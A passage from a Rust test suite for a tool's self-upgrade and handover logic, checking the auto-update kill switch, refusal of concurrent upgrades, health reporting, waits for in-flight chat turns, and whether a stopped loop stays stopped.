21624
21625 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21626 assert!(
21627 !update_recheck_due(&checker, None),
21628 "a check made moments ago must not be repeated before the \
21629 configured interval elapses"
21630 );
21631 }
21632
21633 #[test]
21639 fn recheck_defers_to_an_upgrade_already_in_flight() {
21640 let dir = TempDir::new().expect("temp dir");
21641 let path = dir.path().join("state.json");
21642 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21643 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21644
21645 assert!(
21646 !update_recheck_due(&checker, Some(&progress)),
21647 "a recheck must not run while an upgrade this deck started is \
21648 still moving"
21649 );
21650 }
21651
21652 #[tokio::test]
21653 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21654 unsafe {
21666 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21667 }
21668 let fx = Fixture::start().await;
21669 let res = fx.post("/api/upgrade", None).await;
21670 unsafe {
21671 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21672 }
21673 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21674 let body = res.json();
21675 assert!(body["to"].is_null(), "there was no release to move to");
21676 assert!(body["parked"].is_null(), "and nothing was parked");
21677 assert!(
21678 body["detail"]
21679 .as_str()
21680 .unwrap()
21681 .contains("disabled by MAGI_NO_AUTOUPDATE"),
21682 "{body:?}"
21683 );
21684 }
21685
21686 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21687 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21688 p.stage = stage;
21689 p
21690 }
21691
21692 #[test]
21693 fn busy_stages_match_the_ui_set() {
21694 use crate::updater::Stage;
21695 assert!(APP_JS.contains(
21696 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21697 ));
21698 for s in [
21699 Stage::Downloading,
21700 Stage::Replaced,
21701 Stage::Parking,
21702 Stage::Restarting,
21703 ] {
21704 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21705 }
21706 for s in [Stage::Done, Stage::Failed] {
21707 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21708 }
21709 assert!(upgrade_in_motion(None).is_none());
21710 }
21711
21712 #[tokio::test]
21713 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21714 use crate::updater::Stage;
21715 for stage in [
21716 Stage::Downloading,
21717 Stage::Replaced,
21718 Stage::Parking,
21719 Stage::Restarting,
21720 ] {
21721 let fx = Fixture::start().await;
21722 let seeded = seeded_progress(stage);
21723 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21724 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21725 .expect("read");
21726
21727 let res = fx.post("/api/upgrade", None).await;
21728 assert_eq!(res.status, 409, "{stage:?}");
21729 let err = res.json()["error"].as_str().unwrap().to_owned();
21730 assert!(err.contains("already in progress"), "{err}");
21731 assert!(err.contains(stage.as_str()), "{err}");
21732
21733 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21734 .expect("read");
21735 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21736 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21737 .unwrap_or_default();
21738 assert!(!log.contains("signalling HANDOVER"), "{log}");
21739 }
21740 }
21741
21742 #[test]
21743 fn upgrade_retry_timing_only_parses_known_diagnostics() {
21744 assert_eq!(
21745 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21746 Some(3723)
21747 );
21748 assert_eq!(
21749 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21750 Some(60)
21751 );
21752 assert_eq!(
21753 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21754 Some(0)
21755 );
21756 for message in [
21757 "permission denied",
21758 "GitHub API rate limit exceeded",
21759 "GitHub rate limit (resets in unknown)",
21760 "GitHub rate limit (resets in 18446744073709551615d)",
21761 ] {
21762 assert_eq!(upgrade_retry_after(message), None, "{message}");
21763 }
21764 }
21765
21766 #[tokio::test]
21767 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21768 let home = TempDir::new().unwrap();
21769 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21770 ui.start_loop(None).unwrap();
21771 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21772 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21773 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21774 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21775 let response = finish_upgrade_request(&ui, result);
21776 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21777 assert_eq!(response.headers()["retry-after"], "120");
21778 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21779 .await
21780 .unwrap();
21781 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21782 assert!(body["error"].as_str().unwrap().contains(reason));
21783 assert_eq!(body["retry_after_secs"], 120);
21784 assert!(body["retry_at"].as_u64().is_some());
21785 for _ in 0..2 {
21786 let view = health(State(ui.clone())).await.unwrap().0;
21787 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21788 assert_eq!(failure, body);
21789 }
21790 assert_eq!(
21791 std::fs::read(updater::progress_path(home.path())).unwrap(),
21792 before
21793 );
21794 assert!(!ui.lock_loop().resume_after_handover);
21795 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21796 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21797 let gate = ui.upgrade_gate.lock().await;
21799 assert_eq!(
21800 upgrade_post(State(ui.clone())).await.status(),
21801 StatusCode::CONFLICT
21802 );
21803 drop(gate);
21804 assert!(
21805 health(State(ui.clone()))
21806 .await
21807 .unwrap()
21808 .0
21809 .upgrade_request_error
21810 .is_some()
21811 );
21812 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
21813 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
21814 assert!(
21815 health(State(ui.clone()))
21816 .await
21817 .unwrap()
21818 .0
21819 .upgrade_request_error
21820 .is_none()
21821 );
21822 let live = ui.lock_loop().live.take().unwrap();
21823 live.stop.stop();
21824 live.handle.await.unwrap();
21825 }
21826
21827 #[tokio::test]
21828 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
21829 use crate::updater::Stage;
21830 let repo = TempDir::new().expect("repo dir");
21831 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21832 .expect("write magi.toml");
21833 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21834 for stage in [Stage::Done, Stage::Failed] {
21835 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
21836 let res = fx.post("/api/upgrade", None).await;
21837 assert_eq!(res.status, 200, "{stage:?}");
21838 }
21839 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
21841 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
21842 }
21843
21844 #[tokio::test]
21845 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
21846 let repo = TempDir::new().expect("repo dir");
21862 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21863 .expect("write magi.toml");
21864 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21865
21866 let res = fx.post("/api/upgrade", None).await;
21872 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21873 let body = res.json();
21874 assert!(body["to"].is_null(), "there was no release to move to");
21875 assert!(body["parked"].is_null(), "and nothing was parked");
21876 assert!(
21877 body["detail"]
21878 .as_str()
21879 .unwrap()
21880 .contains("nothing restarted"),
21881 "{body:?}"
21882 );
21883 }
21884
21885 #[tokio::test]
21886 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21887 let repo = TempDir::new().expect("repo dir");
21892 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21893 .expect("write magi.toml");
21894 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21895
21896 let health = fx.get("/api/health").await.json();
21897 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21898 assert_eq!(
21899 health["update"]["available"], false,
21900 "checking is off, which reads as \"unknown\", not \"none\""
21901 );
21902 assert!(health["update"]["to"].is_null());
21903 assert!(
21904 health["upgrade"].is_null(),
21905 "nothing has ever asked this deck to upgrade"
21906 );
21907 }
21908
21909 #[tokio::test]
21910 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21911 let fx = Fixture::start().await;
21912 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21913
21914 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21915 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21916 progress.advance(crate::updater::Stage::Parking);
21917 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21918
21919 let health = fx.get("/api/health").await.json();
21920 assert_eq!(health["upgrade"]["stage"], "parking");
21921 assert_eq!(health["upgrade"]["from"], "0.5.1");
21922 assert_eq!(health["upgrade"]["to"], "0.5.2");
21923 let waiting_on = health["upgrade"]["waiting_on"]
21924 .as_str()
21925 .expect("waiting_on is set while parking a known run");
21926 assert!(waiting_on.contains("cd51"), "{waiting_on}");
21927 assert!(waiting_on.contains("implementing"), "{waiting_on}");
21928 }
21929
21930 #[tokio::test]
21931 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21932 let fx = Fixture::start().await;
21933 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21934 progress.advance(crate::updater::Stage::Done);
21935 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21936
21937 let health = fx.get("/api/health").await.json();
21938 assert_eq!(health["upgrade"]["stage"], "done");
21939 assert!(
21940 health["upgrade"]["waiting_on"].is_null(),
21941 "nothing to wait on once it is done"
21942 );
21943 }
21944
21945 #[tokio::test]
21946 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21947 let home = TempDir::new().expect("temp home");
21948 let runs = home.path().join("runs");
21949 std::fs::create_dir_all(&runs).expect("runs dir");
21950 let ui = Ui::new(
21951 Queue::at(home.path().join("queue")),
21952 Questions::at(home.path().join("questions")),
21953 Talks::at(home.path().join("talks")),
21954 runs,
21955 home.path().to_path_buf(),
21956 PathBuf::from("/repo/magi"),
21957 )
21958 .with_launch(launch_idle);
21959 let looping = ui.looping();
21960 let turns = ui.turns();
21961 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21962 .await
21963 .expect("bind loopback");
21964 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21965
21966 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21967 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21968
21969 hand_over(
21970 home.path(),
21971 &looping,
21972 &turns,
21973 &|_: &[String]| Duration::from_secs(5),
21974 served,
21975 |_| Ok(1),
21976 )
21977 .await
21978 .expect("hand over");
21979
21980 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21981 assert_eq!(
21982 after.stage,
21983 crate::updater::Stage::Restarting,
21984 "hand_over owns the record through parking and up to restarting; \
21985 the successor is what finishes it"
21986 );
21987 }
21988
21989 #[tokio::test]
21992 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21993 for fail in [false, true] {
21994 let home = TempDir::new().expect("temp home");
21995 let ui = idle_ui(&home);
21996 let looping = ui.looping();
21997 let turns = ui.turns();
21998 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21999 .await
22000 .expect("bind loopback");
22001 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22002 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22003 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22004
22005 let calls = std::sync::atomic::AtomicUsize::new(0);
22006 let outcome = hand_over(
22007 home.path(),
22008 &looping,
22009 &turns,
22010 &|_: &[String]| Duration::from_secs(5),
22011 served,
22012 |_| {
22013 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22014 if fail {
22015 anyhow::bail!("no exec")
22016 } else {
22017 Ok(4242)
22018 }
22019 },
22020 )
22021 .await;
22022 assert_eq!(outcome.is_err(), fail);
22023 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22024
22025 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
22026 .expect("upgrade.log is written under the home");
22027 for step in [
22028 "entered",
22029 "finish_loop",
22030 "listener released",
22031 "starting the successor",
22032 ] {
22033 assert!(log.contains(step), "missing `{step}` in:\n{log}");
22034 }
22035 assert!(
22036 log.contains(if fail { "did not start" } else { "pid 4242" }),
22037 "{log}"
22038 );
22039 }
22040 }
22041
22042 #[tokio::test]
22045 async fn the_handover_signal_wakes_one_waiter_once() {
22046 let signal = Notify::new();
22047 signal.notify_one();
22049 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22050 .await
22051 .expect("an early signal is still seen");
22052 assert!(
22054 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22055 .await
22056 .is_err(),
22057 "a consumed signal must not wake a second time"
22058 );
22059 let signal = std::sync::Arc::new(signal);
22061 let waiter = tokio::spawn({
22062 let signal = std::sync::Arc::clone(&signal);
22063 async move { wait_for_handover(&signal).await }
22064 });
22065 tokio::time::sleep(Duration::from_millis(20)).await;
22066 assert!(!waiter.is_finished(), "nothing was signalled yet");
22067 signal.notify_one();
22068 tokio::time::timeout(Duration::from_secs(5), waiter)
22069 .await
22070 .expect("a late signal wakes the waiter")
22071 .expect("join");
22072 }
22073
22074 #[tokio::test]
22075 async fn health_says_how_long_a_handover_has_been_stuck() {
22076 let fx = Fixture::start().await;
22077 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22078 progress.advance(crate::updater::Stage::Replaced);
22079 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22080 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22081
22082 let health = fx.get("/api/health").await.json();
22083 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22084 assert!(stuck >= 600, "{stuck}");
22085 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22086 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22087 }
22088
22089 #[tokio::test]
22090 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22091 let home = tempfile::tempdir().expect("temp home");
22092 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22093 progress.advance(crate::updater::Stage::Parking);
22094 crate::updater::write_progress(home.path(), &progress).expect("seed");
22095 let mut again = progress.clone();
22097 again.advance(crate::updater::Stage::Replaced);
22098 crate::updater::write_progress(home.path(), &again).expect("replaced");
22099 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22100 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22101 let after = crate::updater::read_progress(home.path()).expect("record");
22102 assert_eq!(after.stage, crate::updater::Stage::Parking);
22103 }
22104
22105 #[tokio::test]
22106 async fn health_does_not_call_a_live_parking_wait_stuck() {
22107 let fx = Fixture::start().await;
22108 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22109 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22110 progress.advance(crate::updater::Stage::Parking);
22111 let hours = Duration::from_secs(3 * 3600);
22112 progress.started_at = Timestamp::now() - hours;
22113 progress.updated_at = Timestamp::now() - hours;
22114 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22115 let _lease = crate::updater::LeaseGuard::enter(
22116 fx.home.path(),
22117 Some("20260905-000000-cd51".to_owned()),
22118 );
22119
22120 let health = fx.get("/api/health").await.json();
22121 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22122 assert!(health["upgrade"]["stuck_kind"].is_null());
22123 assert_eq!(health["upgrade"]["handover_alive"], true);
22124 let waiting_on = health["upgrade"]["waiting_on"]
22125 .as_str()
22126 .expect("waiting_on");
22127 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22128 }
22129
22130 fn idle_ui(home: &TempDir) -> Ui {
22131 let runs = home.path().join("runs");
22132 std::fs::create_dir_all(&runs).expect("runs dir");
22133 Ui::new(
22134 Queue::at(home.path().join("queue")),
22135 Questions::at(home.path().join("questions")),
22136 Talks::at(home.path().join("talks")),
22137 runs,
22138 home.path().to_path_buf(),
22139 PathBuf::from("/repo/magi"),
22140 )
22141 .with_launch(launch_idle)
22142 }
22143
22144 async fn park_fixture(
22145 home: &TempDir,
22146 ) -> (
22147 Ui,
22148 Arc<Mutex<LoopState>>,
22149 Arc<Mutex<TalkTurns>>,
22150 tokio::task::JoinHandle<std::io::Result<()>>,
22151 ) {
22152 let ui = idle_ui(home);
22153 let looping = ui.looping();
22154 let turns = ui.turns();
22155 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22156 .await
22157 .expect("bind loopback");
22158 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22159 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22160 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22161 (ui, looping, turns, served)
22162 }
22163
22164 #[tokio::test]
22168 async fn hand_over_waits_for_a_running_chat_turn() {
22169 let home = TempDir::new().expect("temp home");
22170 let (ui, looping, turns, served) = park_fixture(&home).await;
22171 let ui = Arc::new(ui);
22172 let id = "20260901-000000-chat";
22173 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22174
22175 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22176 let handover = tokio::spawn({
22177 let home = home.path().to_path_buf();
22178 let turns = Arc::clone(&turns);
22179 let calls = Arc::clone(&calls);
22180 async move {
22181 hand_over(
22182 &home,
22183 &looping,
22184 &turns,
22185 &|_: &[String]| Duration::from_secs(60),
22186 served,
22187 move |_| {
22188 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22189 Ok(1)
22190 },
22191 )
22192 .await
22193 }
22194 });
22195
22196 let waiting = async {
22197 for _ in 0..200 {
22198 if crate::updater::read_progress(home.path())
22199 .is_some_and(|p| p.parked_talks == [id.to_owned()])
22200 {
22201 return;
22202 }
22203 tokio::time::sleep(Duration::from_millis(25)).await;
22204 }
22205 panic!("the park never named the chat turn");
22206 };
22207 waiting.await;
22208 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22209
22210 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22213 assert!(
22214 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22215 "a direct start says an upgrade is in progress"
22216 );
22217 assert!(
22218 ui.begin_queued_talk_turn("20260901-000000-late")
22219 .expect("queued claim")
22220 .is_none()
22221 );
22222 assert!(matches!(
22223 ui.begin_talk_turn_unless_pending("20260901-000000-late")
22224 .expect("start"),
22225 TalkTurnStart::Busy
22226 ));
22227 assert_eq!(turns.lock().unwrap().live.len(), 1);
22228
22229 let progress = crate::updater::read_progress(home.path()).expect("progress");
22231 let view = upgrade_progress_view(&ui, progress);
22232 assert!(
22233 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
22234 "{:?}",
22235 view.waiting_on
22236 );
22237
22238 assert!(!handover.is_finished());
22239 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22240 drop(turn);
22241 handover.await.expect("join").expect("hand over");
22242 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22243 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22244 }
22245
22246 #[tokio::test]
22249 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
22250 let home = TempDir::new().expect("temp home");
22251 let (ui, looping, turns, served) = park_fixture(&home).await;
22252 let ui = Arc::new(ui);
22253 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
22255 lock_or_recover(&looping).live = Some(Live {
22256 stop: daemon::Stop::new(),
22257 handle: tokio::spawn(async move {
22258 let _ = loop_ended.await;
22259 }),
22260 opts: daemon::Opts::default(),
22261 });
22262
22263 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22264 let handover = tokio::spawn({
22265 let home = home.path().to_path_buf();
22266 let turns = Arc::clone(&turns);
22267 let calls = Arc::clone(&calls);
22268 async move {
22269 hand_over(
22270 &home,
22271 &looping,
22272 &turns,
22273 &|_: &[String]| Duration::from_secs(60),
22274 served,
22275 move |_| {
22276 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22277 Ok(1)
22278 },
22279 )
22280 .await
22281 }
22282 });
22283
22284 let reached = async {
22285 for _ in 0..200 {
22286 if crate::updater::read_progress(home.path())
22287 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
22288 {
22289 return;
22290 }
22291 tokio::time::sleep(Duration::from_millis(25)).await;
22292 }
22293 panic!("the hand-over never reached parking");
22294 };
22295 reached.await;
22296
22297 assert!(!turns.lock().unwrap().parking);
22299 let turn = ui
22300 .begin_talk_turn("20260901-000000-chat")
22301 .expect("claim")
22302 .expect("a turn can start while the loop parks");
22303
22304 end_loop.send(()).expect("loop still waiting");
22306 for _ in 0..200 {
22307 if turns.lock().unwrap().parking {
22308 break;
22309 }
22310 tokio::time::sleep(Duration::from_millis(25)).await;
22311 }
22312 assert!(
22313 turns.lock().unwrap().parking,
22314 "closed once the loop is done"
22315 );
22316 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22317 assert!(
22318 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22319 "no turn starts once the loop is done"
22320 );
22321 assert!(
22322 ui.begin_queued_talk_turn("20260901-000000-late")
22323 .expect("queued claim")
22324 .is_none()
22325 );
22326 assert!(!handover.is_finished());
22327 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22328
22329 drop(turn);
22330 handover.await.expect("join").expect("hand over");
22331 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22332 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22333 }
22334
22335 #[tokio::test]
22338 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
22339 let home = TempDir::new().expect("temp home");
22340 let (ui, looping, turns, served) = park_fixture(&home).await;
22341 let id = "20260901-000000-stuk";
22342 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22343
22344 let calls = std::sync::atomic::AtomicUsize::new(0);
22345 hand_over(
22346 home.path(),
22347 &looping,
22348 &turns,
22349 &|_: &[String]| Duration::from_millis(300),
22350 served,
22351 |_| {
22352 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22353 Ok(1)
22354 },
22355 )
22356 .await
22357 .expect("hand over");
22358 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22359
22360 let progress = crate::updater::read_progress(home.path()).expect("progress");
22361 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
22362 assert!(
22363 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
22364 "{:?}",
22365 progress.detail
22366 );
22367 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
22368 assert!(
22369 log.contains("handing over anyway") && log.contains(id),
22370 "{log}"
22371 );
22372 }
22373
22374 #[tokio::test]
22377 async fn drain_loop_starts_no_turn_while_parking() {
22378 let tmp = TempDir::new().expect("tempdir");
22379 let repo = tmp.path().join("repo");
22380 std::fs::create_dir_all(&repo).expect("repo dir");
22381 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
22382 let home = TempDir::new().expect("temp home");
22383 let talks = Talks::at(home.path().join("talks"));
22384 let ui = Ui::new(
22385 Queue::at(home.path().join("queue")),
22386 Questions::at(home.path().join("questions")),
22387 talks.clone(),
22388 home.path().join("runs"),
22389 home.path().to_path_buf(),
22390 repo.clone(),
22391 )
22392 .with_worktrees_root(home.path().join("wt"));
22393 let cfg = config_for(&repo).await.expect("discover config");
22394 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
22395 let id = talk.id.clone();
22396 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
22397 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
22398 let turns = ui.turns();
22399 let parking = ParkingTurns::begin(&turns);
22400
22401 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
22402
22403 assert!(
22404 turns.lock().unwrap().live.is_empty(),
22405 "the slot is given up"
22406 );
22407 let fresh = talks.get(&id).expect("talk");
22408 assert_eq!(fresh.pending, "later", "the draft is still queued");
22409 assert!(fresh.turns.is_empty(), "no turn ran");
22410 drop(parking);
22411 }
22412
22413 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
22415 let looping = ui.looping();
22416 let turns = ui.turns();
22417 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22418 .await
22419 .expect("bind loopback");
22420 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22421 let told = std::sync::Mutex::new(None);
22422 hand_over(
22423 home.path(),
22424 &looping,
22425 &turns,
22426 &|_: &[String]| Duration::from_secs(5),
22427 served,
22428 |resume| {
22429 *told.lock().unwrap() = Some(resume);
22430 Ok(1)
22431 },
22432 )
22433 .await
22434 .expect("hand over");
22435 told.into_inner().unwrap().expect("successor was started")
22436 }
22437
22438 #[tokio::test]
22439 async fn a_running_loop_is_resumed_by_the_successor() {
22440 let home = TempDir::new().expect("temp home");
22441 let ui = idle_ui(&home);
22442 ui.start_loop(None).expect("start");
22443 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22444 for _ in 0..500 {
22446 if !ui.loop_view(None).running {
22447 break;
22448 }
22449 tokio::time::sleep(Duration::from_millis(2)).await;
22450 }
22451 assert!(handed_over(&home, ui).await, "a running loop must resume");
22452
22453 let successor = idle_ui(&home);
22454 assert!(!successor.loop_view(None).running);
22455 assert!(successor.resume_after_handover(true));
22456 assert!(successor.loop_view(None).running);
22457 successor.stop_loop(None, false).expect("stop");
22458 }
22459
22460 #[tokio::test]
22461 async fn a_second_upgrade_request_keeps_the_resume_intent() {
22462 let home = TempDir::new().expect("temp home");
22463 let ui = idle_ui(&home);
22464 ui.start_loop(None).expect("start");
22465 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22466 .expect("first park");
22467 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22468 .expect("second park");
22469 assert!(handed_over(&home, ui).await);
22470 }
22471
22472 #[tokio::test]
22473 async fn a_stop_during_the_handover_wait_is_honoured() {
22474 let home = TempDir::new().expect("temp home");
22475 let ui = idle_ui(&home);
22476 ui.start_loop(None).expect("start");
22477 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22478 ui.stop_loop(None, false).expect("stop");
22479 assert!(!handed_over(&home, ui).await);
22480 }
22481
22482 #[tokio::test]
22483 async fn an_idle_loop_stays_stopped_across_the_handover() {
22484 let home = TempDir::new().expect("temp home");
22485 let ui = idle_ui(&home);
22486 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22487 assert!(!handed_over(&home, ui).await);
22488
22489 let successor = idle_ui(&home);
22490 assert!(!successor.resume_after_handover(false));
22491 assert!(!successor.loop_view(None).running);
22492 }
22493
22494 #[tokio::test]
22495 async fn a_loop_the_operator_stopped_is_not_resumed() {
22496 let home = TempDir::new().expect("temp home");
22497 let ui = idle_ui(&home);
22498 ui.start_loop(None).expect("start");
22499 ui.stop_loop(None, false).expect("stop");
22500 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22501 assert!(!handed_over(&home, ui).await);
22502 }
22503
22504 #[test]
22505 fn only_an_explicit_one_requests_a_resume() {
22506 assert!(!resume_requested(None));
22507 assert!(!resume_requested(Some("0".into())));
22508 assert!(!resume_requested(Some("".into())));
22509 assert!(resume_requested(Some("1".into())));
22510 }
22511
22512 #[test]
22513 fn the_upgrade_button_arms_before_it_restarts_anything() {
22514 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
22517 assert!(APP_JS.contains("Replace the binary and restart?"));
22518 assert!(APP_JS.contains("function confirmed("));
22519 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
22524 assert!(
22528 APP_JS.contains("Parking, then restarting"),
22529 "the button says what it is waiting for"
22530 );
22531 assert!(APP_JS.contains("if (!out.to)"));
22534 }
22535
22536 #[test]
22537 fn stopping_the_loop_arms_but_starting_does_not() {
22538 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
22541 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
22542 assert!(APP_JS.contains("confirmed(button, question)"));
22543 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
22546 assert!(APP_JS.contains("const label = btn.textContent;"));
22547 assert!(!APP_JS.contains("Neither direction is guarded"));
22548 }
22549
22550 #[test]
22551 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
22552 assert!(
22553 APP_JS.contains("state.health.version"),
22554 "the operator wants to know what is running even with nothing newer"
22555 );
22556 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
22557 }
22558
22559 #[test]
22560 fn the_upgrade_button_names_its_destination() {
22561 assert!(
22562 APP_JS.contains("`Update to ${update.to}`"),
